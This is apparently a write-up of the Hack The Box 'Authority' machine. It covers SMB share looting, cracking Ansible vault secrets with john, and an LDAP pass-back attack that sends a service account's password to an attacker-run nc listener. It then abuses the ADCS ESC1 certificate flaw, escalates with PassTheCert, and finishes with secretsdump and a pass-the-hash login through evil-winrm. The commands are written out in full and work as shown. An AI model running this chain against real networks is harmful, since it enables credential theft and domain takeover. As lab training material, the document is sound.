# Authority

## OVERVIEW

---

![](https://cdn.hashnode.com/res/hashnode/image/upload/v1766934647833/b48dde64-92ac-4df0-a99f-45e4cef6b4f0.png align="center")

So we are given an IP address let’s scan it using Nmap

---

## ENUMERATION

![](https://cdn.hashnode.com/res/hashnode/image/upload/v1766934998845/d30b324c-4a8c-4959-8b5a-490a1d105f6d.png align="center")

So we got so many open ports Let’s check them and don’t forget to add the Domain name in /etc/hosts file

I checked Port 80 and it is an IIS Windows Server and doesn’t have any hidden directories So now let’s check SMB Ports for Guest Login

![](https://cdn.hashnode.com/res/hashnode/image/upload/v1766935578377/a4a33e50-a840-434f-bf86-f0cccbc72631.png align="center")

Yes we can guest login and can see SMB shares so now let’s dump Development share on our machine for a good enumeration with smbclient

```apache
smbclient //authority.htb/Development -U guest%'' -c "prompt OFF;recurse ON;mget *"
```

Now After getting all the files let’s check them

![](https://cdn.hashnode.com/res/hashnode/image/upload/v1766935940656/15e74bfc-dbae-42f3-a9d7-62e5f0c0e16f.png align="left")

We see four directories inside Ansible directory so it seems Ansible is the thing which we have to work upon first but we also see four other directories which hints us that these services might be used in this machine so after checking each directory and its files I found some useful things:

```apache
# A passphrase for the CA key.
ca_passphrase: SuP3rS3creT
ca_common_name: authority.htb

# ansible.cfg and ansible_inventory
remote_user = svc_pwm
ansible_user: administrator                                                     
ansible_password: Welcome1

# tomcat-users.xml.j2
<user username="admin" password="T0mc@tAdm1n" roles="manager-gui"/>             
<user username="robot" password="T0mc@tR00t" roles="manager-script"/>
```

None of them worked anywhere to get us some lead but it strongly indicates towards **PWM configuration** and it also gave us Tomcat admin password so it means that there must be another web page rather then that IIS Web Server at PORT 80 so i looked at my NMAP scan once again and i saw this

![](https://cdn.hashnode.com/res/hashnode/image/upload/v1766936728923/ba1e2f53-13cc-4080-b9c0-c9d3756d6b10.png align="left")

So navigating to **PORT 8443 with https** I saw this

![](https://cdn.hashnode.com/res/hashnode/image/upload/v1766936918863/221651a5-8eac-4e88-9f64-0c669d46922a.png align="center")

Here it is PWM configuration login Now We have to find its password to change its Configuration So I started searching PWM directory inside Ansible Directory so in **PWM/default/main.yml** i found ansible vault encrypted keys and after arranging them i got this output:

```apache
#PWM ADMIN LOGIN
$ANSIBLE_VAULT;1.1;AES256
32666534386435366537653136663731633138616264323230383566333966346662313161326239
6134353663663462373265633832356663356239383039640a346431373431666433343434366139
35653634376333666234613466396534343030656165396464323564373334616262613439343033
6334326263326364380a653034313733326639323433626130343834663538326439636232306531
3438

#PWM ADMIN PASSWORD
$ANSIBLE_VAULT;1.1;AES256
31356338343963323063373435363261323563393235633365356134616261666433393263373736
3335616263326464633832376261306131303337653964350a363663623132353136346631396662
38656432323830393339336231373637303535613636646561653637386634613862316638353530
3930356637306461350a316466663037303037653761323565343338653934646533663365363035
6531

#LDAP ADMIN PASSWORD
$ANSIBLE_VAULT;1.1;AES256
63303831303534303266356462373731393561313363313038376166336536666232626461653630
3437333035366235613437373733316635313530326639330a643034623530623439616136363563
34646237336164356438383034623462323531316333623135383134656263663266653938333334
3238343230333633350a646664396565633037333431626163306531336336326665316430613566
3764
```

Now I remembered that **John The Ripper** has a function (**ansible2john**) from which we can crack these keys password which will be needed to decrypt these keys into plaintext  

---

## EXPLOITATION

  
So i saved each hash into different txt files so i have three different files, Now one by one

```apache
ansible2john ansible_hash_file_name > new_file_name

john --wordlist=rockyou.txt new_file_name
```

And after some time you will get the password that is required to crack the above ansible vault encoded keys and the password is same for all three keys above

![](https://cdn.hashnode.com/res/hashnode/image/upload/v1766938147947/eb016b62-9c00-42ac-890a-706a70b47e0e.png align="left")

Now we will save this password in a file named as **pwd.txt** and use **ansible-vault** tool which you can download using pip3 if you don’t have

```apache
pip3 ansible-vault --break-system-packages
```

Now go to the directory where you have your ansible vault encoded keys stored earlier not converted one the original one then do this

```apache
ansible-vault decrypt -v your-ansible-file --vault-password-file=pwd.txt
```

![](https://cdn.hashnode.com/res/hashnode/image/upload/v1766938774541/5c93b631-f857-4688-8ede-ac5b6f33c055.png align="left")

After decryption you will get your **PWM Admin Password** on the same file in which your key was stored

**Now Login to PWM configuration Editor inside the website and go to LDAP Profile Enabled Option through Search Bar**

![](https://cdn.hashnode.com/res/hashnode/image/upload/v1766939131446/581ea4e3-d5b2-43a4-9ae2-467384d95bd7.png align="center")

Now there is a vulnerability known as **LDAP Pass-Back Attack** which is used to change the **LDAP URL** to **attacker IP and LDAP PORT** and On listening on the same port LDAP Back Passes the User Password which in this case is **svc\_ldap** as you can see above in **LDAP** **Proxy User**  
[**To Know More About This Vulnerability Read this ….**](https://medium.com/r3d-buck3t/pwning-printers-with-ldap-pass-back-attack-a0d8fa495210)

So Let’s change the **LDAP URL’s default URL** to

```apache
#on website
ldap://YOUR-MACHINE-IP:636

#on your machine
nc -lvnp 636
```

![](https://cdn.hashnode.com/res/hashnode/image/upload/v1766939613528/a8f6ca60-e3d9-42d5-8bbc-b016eecb88b8.png align="left")

Now Click On Test LDAP Profile and head to your listener and wait !!

![](https://cdn.hashnode.com/res/hashnode/image/upload/v1766939727108/210b98f2-068e-4285-8ecd-fb4573a40d0f.png align="left")

And you will successfully get the password for **svc\_ldap** user . Now Let’s check if it is valid or not for a shell

---

## USER FLAG

![](https://cdn.hashnode.com/res/hashnode/image/upload/v1766939999075/854c0343-c9fe-4768-a346-aaff5bc24926.png align="center")

So as you see it is valid and we got our user flag

---

## PRIVELEGE ESCALATION

Now I remembered seeing **ADCS directory** inside Ansible directory so let’s quickly check for any ADCS vulnerability using Certipy (ensure you are using latest one)

```apache
certipy find -u svc_ldap@authority.htb -p 'REDACTED' -dc-ip 10.129.47.203 -vulnerable -stdout
```

![](https://cdn.hashnode.com/res/hashnode/image/upload/v1766940576044/46bf7e6f-640a-46c5-875b-20573f2033da.png align="center")

And we found it there is **ESC1** vulnerability

<details data-node-type="hn-details-summary"><summary>Understanding the vulnerability</summary><div data-type="detailsContent">ESC1 is based on a misconfiguration that allows the certificate requester to define the Subject Name field in their request (CSR) themselves. This means that a user can specify, at the time of the request, the name of the account for which they wish to obtain an authentication certificate. This behavior allows them to impersonate another user, or even a domain administrator.</div></details>

But as you can see User Enrollable Principals : Domain Computers which means Any domain-joined computer account can request a certificate using this template.  
**Since we own User account not Computer account we can add computer account if we has the rights**

So let’s check in our **svc\_ldap shell**

```apache
([ADSI]"LDAP://DC=authority,DC=htb")."ms-DS-MachineAccountQuota"
```

![](https://cdn.hashnode.com/res/hashnode/image/upload/v1766941085812/fde9c6c8-33cb-4618-b3f9-243de8abad14.png align="center")

Since it is greater then 0 then it means we have the rights to add computer account so let’s use **impacket-addcomputer.py** module

```apache
addcomputer.py -computer-name MEOWPC$ -computer-pass '0xme0w' authority.htb/svc_ldap:'REDACTED'
```

![](https://cdn.hashnode.com/res/hashnode/image/upload/v1766941276849/a4f43216-6a16-41b8-8421-95d76ec8eb04.png align="center")

We successfully added the computer account now let’s try requesting administrator certificate using Certipy

```apache
certipy req -u 'MEOWPC$' -p '0xme0w' -dc-ip 10.129.47.203 -target 'authority.htb' -ca 'AUTHORITY-CA' -template 'CorpVPN' -upn 'administrator@authority.htb'
```

**the ca and template name can be seen earlier when we find the vulnerability earlier**

![](https://cdn.hashnode.com/res/hashnode/image/upload/v1766941531528/d532b316-4ba8-432f-aa28-ac1968f3b258.png align="center")

We successfully got the **administrator.pfx** now let’s try authenticating using the certificate  
if you found clock skew error do **<mark>sudo ntpdate IP</mark>**

**NOTE: Due to some issues I had to reset my machine so don’t worry on seeing New IP in images below**

```apache
certipy auth -pfx administrator.pfx -dc-ip 10.129.47.203 -username administrator -domain authority.htb
```

![](https://cdn.hashnode.com/res/hashnode/image/upload/v1766942202759/9ca12ba3-d346-41cf-be4b-9f98eb45dcd6.png align="center")

We, however, get an error **KDC\_ERR\_PADATA\_TYPE\_NOSUPP(KDC has no support for padata type)** . Some searching points us to this [**blog post**](https://offsec.almond.consulting/authenticating-with-certificates-when-pkinit-is-not-supported.html), which explains that this likely means that the target Domain Controller does not support PKINIT . We can, however, use the [**PassTheCert**](https://github.com/AlmondOffSec/PassTheCert) tool to authenticate against LDAP using Schannel (Secure Channel).

So To Use PassTheCert tool you need to have both **crt** and **key of the administrator**  
To obtain it you can either use **openssl pkcs12** or just directly **use certipy to obtain it which i prefers**

```apache
certipy cert -pfx administrator.pfx -nocert -out administrator.key
certipy cert -pfx administrator.pfx -nokey -out administrator.crt
```

![](https://cdn.hashnode.com/res/hashnode/image/upload/v1766942762168/e0c6c2da-c646-4fb5-9581-cb5f9ba5bd97.png align="left")

Now transfer all three files **.pfx, .crt, .key** to th**e PassTheCert/Python** directory and now  
**There are many ways to get system access and we will talk about the fastest one and rest of the methods figure out yourself :)**

**Enter into LDAP shell**

```apache
python3 passthecert.py -action ldap-shell -crt administrator.crt -key administrator.key -domain authority.htb -dc-ip 10.129.47.203
```

![](https://cdn.hashnode.com/res/hashnode/image/upload/v1766943205816/22602817-f38d-450e-b79b-ee2adae10c90.png align="center")

So as you can see we entered in the LDAP shell as administrator and added **svc\_ldap** to Domain Admins group

Now you can dump the Administrator hash using **secretsdump.py** of Impacket

```apache
secretsdump.py authority.htb/svc_ldap:'REDACTED'@10.129.47.203
```

![](https://cdn.hashnode.com/res/hashnode/image/upload/v1766943370901/dc4a809d-417f-42b5-bfe6-4cfcd0dc532b.png align="center")

Now grab the Administrator Hash and use it to login into Administrator winrm shell and get the root flag

---

## ROOT FLAG

```apache
evil-winrm -i 10.129.47.203 -u Administrator -H HASH
```

![](https://cdn.hashnode.com/res/hashnode/image/upload/v1766943522984/e01bded5-112f-4f85-a0df-d8e419e18ac0.png align="center")

## **WE FINALLY DID IT !!!! CHALLENGE SOLVED !!**

![](https://cdn.hashnode.com/res/hashnode/image/upload/v1766943682093/00028a81-a2c9-43f5-9f2c-6c396420ec6d.png align="center")

For Any Query Or Problem Either Leave A Comment Or Contact At [**reapsec.com**](http://reapsec.com/)

**THANKS FOR READING !!!**